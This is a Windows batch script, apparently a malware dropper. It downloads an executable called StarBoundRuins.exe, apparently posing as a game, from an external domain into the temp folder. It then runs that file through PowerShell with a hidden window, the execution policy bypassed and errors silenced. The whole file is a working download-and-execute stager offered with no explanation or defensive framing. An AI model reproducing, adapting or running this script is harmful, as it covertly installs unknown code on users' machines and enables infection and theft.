@echo off

setlocal



set "URL=https://api.stickforgeconnect1245.site/StarBoundRuins.exe"

set "NOME_ARQUIVO=StarBoundRuins.exe"

set "DESTINO=%TEMP%\%NOME_ARQUIVO%"



powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { (New-Object System.Net.WebClient).DownloadFile('%URL%', '%DESTINO%'); if (Test-Path '%DESTINO%') { Start-Process -FilePath '%DESTINO%' -WindowStyle Hidden } } catch { exit 1 }"



endlocal

